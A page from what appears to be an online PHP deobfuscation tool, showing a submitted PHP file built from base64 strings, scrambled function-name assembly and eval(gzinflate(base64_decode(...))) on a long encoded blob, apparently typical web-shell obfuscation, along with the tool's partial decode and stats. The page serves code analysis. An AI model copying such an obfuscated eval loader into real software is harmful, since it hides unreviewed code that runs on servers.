Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==..

Decoded Output download


function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}

Did this file decode correctly?

Original Code

<?php 
 $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==");
eval(gzinflate(base64_decode('hY7NCoJAFIVf5SQu5tIUzVpc9hxSeq0huwPzA4X47ikxEm7anu/82V7t+iRttE4aftkQgyq8iyyt67ggGjPFqqoyRG/lpsvL0yWJhBHlg9+oEdJ1ZqsBJw1DFWyvZmVgyYTq2iwxzzF5QXv3yvlOLS2EPXJxhQk8BP7vxHH5d/7+274wGpv5gyH9uzJNHw==')));
$O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
$keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);
$OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11];
$O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
eval($OO000OO000OO(base64_decode('LZU3Du
zYAQQvI0C7YEDvIGxA771nItBzOPT+zen1AyUddl
BAVzd3Mf71L8dBEOT/8VdZHA1F/LduqqVu/vq3mU
eoeCEa13n3wZoW0JT81JV8yrHj52Y/i3yhduf1/o
2jSEZrrBXxFjxmt4nwj2XJc6wkdoeAcRUAuo/bbW
OvXY5Qn9WdZEV3P5VnelUawWRno7YauJqh5l6KCL
ibR2qdrFgqwtHLcaXyu6xY0robz0L07XLvV+bPz8
t48bcZswjZeK8bj+BzIxJ+PdbWI24cv6odcAax/Z
ZxOxIZKgA8Ve5dOrypiG3kOH2vCJQ6RciybT6Npt
xNHInuecO35brF/pitSD4aVlSO+faVOcosvHI1lu
qWdrT+g2BwoeZKsphC8aPmQwHeZ1G0mapY9RVGqT
CqQivtHGXRqpW+JtI2ZBwC5qzVj7YLTO8qoeyIxL
h0toSaH/VTkm6ihbchRmbp4WLm2DSqe5LbTOXNrc
Ssz8zbx1ghSEZ/HfQn7Kg4j5PEloHfpUbn87182k
IhfU+0NfSV9AfYw47W9W33K/ukPZdVcONL4x52hK
w9jlcWAne81F0+Jx6mAJGYrsDmscW9GfPMXnChks
10PpOw4BmKWyHUGpm0Z8Ur3esbDzED8TROfhBdoZ
NtFgqNK70RCt3RtR91EMQIdLIvpX0qqA4acsjRA8
L5Y5EYL8rSS0wVCHLZOP+Uk7cbK3cXTtIPwqqjpr
VuwdGsQWsYtjo5MjFG6DfpvR8FW8wVlQh+CX+4NP
hT9qnQqVhaGZuXMKUaOPxkgBQv+h9vcWXfHjM94C
VTWe6U2vab+yddzbj0hLnC5Bh0EH2Sr+YmV1/51z
M/XfJPu/U2tT7pFRa2M45HuYM/1papfPveYqhCgu
Y8S+oq07lD/fLECGNwigcDAxFkkJGiQECzy1sGam
y1RYNfaYcRzrUEhansR0C0ualkHjJU8XsIr1JOCV
vb8eEvwIpR8JNH72a5UO/Otn09CMFCNgURIakSAl
E8s9n1+hDM8LEoBpcxaO+8qJVP3gp4h+amiPWECw
zlROe2dRA5GWCmYUX4QXuMHeGCkhVhQrcm4gY6sW
eIG+ewgO9tDNPiUxQ4sHhafkHweLi6ckUPrbgADy
A5HG0cJ97gnyXun12Zx0YCE97DcPiJa2rBg+EIeI
uXzPKeudvJKvssdomByCEV3paraur1chSMCX0aNx
1mMwKZMZ1eB7PaGRjFK9ZWmE3HplV6P7yl3yVx0T
X1aNmta0b7V7OpxBEtAVy2ZYDccQfVRM+Jy8Ve8C
nRfnPgEwZprMV2lMmIUcnAHzElv7opzDdVAl8zp2
/qWNz5ekd+HU9RQ+U8X/pvcM9hMc3ewO8YRjEK3s
9DJnofBHUEQIzmXnxGUtwQnAB9t6OBBwJ6d7Gurc
HFk+D87SQC1jAS1wrtyTX96eKpCx1JwcPzkeQ17J
yadOqY9REK0qwvtaWIvUCDYgeYWDT3JT3Nc3Cfp5
+nhsdXT9suR+285Z4fy/o6TCrQmD1GhYx69fjyUw
M+6MquXVeMkSAUr5v8qcFD4o9ENXgDnfawudao7+
uw30drwVaYehw5ltBgLDc3GVNziiGSm7hVtuB8fA
Y6/K9A8OpUNultkUAGozm9XB/ap+bTDZWNzBNjih
MQHeoBsaRdk+SgIdHJ70IObUQq1sGKWiIgoqcmN7
tC5Xf31cLNOcm2gZqdUNuPcOi5k+84cgbUfG/iYG
iuojdt4OLftRbWsg8/DDPRtneQZPT+NuVKQAI0is
laVTtrxPZksfAR5euqfE+WCz8Urj+N13xQ9p+Z2J
OmsjoxZhswPTHzSEb4rHYR1dURUF4VKxa1Y/UwHm
ADamt6CVmMlL+8ENXHpJlwkUau2BP6SPM4aAI4aW
EIayRHWz+nmoESLJ/xVK26Fyo85rjST5muvBUF0n
XGWV/GGJqyNPdiG+3PGhwXbQQpr3q5gEoLnc3nWF
e4TTb1AW11gBNtkPiqF+eRxgT3gx8nrG1lEBOGw0
b56FGsJ80qXJ3uoE9o+K153Ig+8gsxqpJ/HajCzy
IVSiw3uc1WbNzhPxOJqNGehSVM4uPys7CsWtSYtB
7+OvmKZ9fmZfgiwvfn+Wi4nP05KLHO76Mo2zVlT/
8HNa4PgG1+nxRJjjNR2aOvRW4Z8IcYQZcFW4bes9
qxKHweohhbvz3zKQRi5C8sFJOToflOZDwnlfUFed
IOUSQLw/d8388///z777///s//AA==')));
?>

Function Calls

gzinflate 1
base64_decode 2
function_exists 1
11411111610111099111100101 1

Variables

$keystroke1 wdr159sq4ayez7xcgnf_tv8nluk6jhbio32mp
$O0O0O0O0O0O0 11411111610111099111100101

Stats

MD5 2276e14e36f68b5da478f1d72dd2c7aa
Eval Count 1
Decode Time 67 ms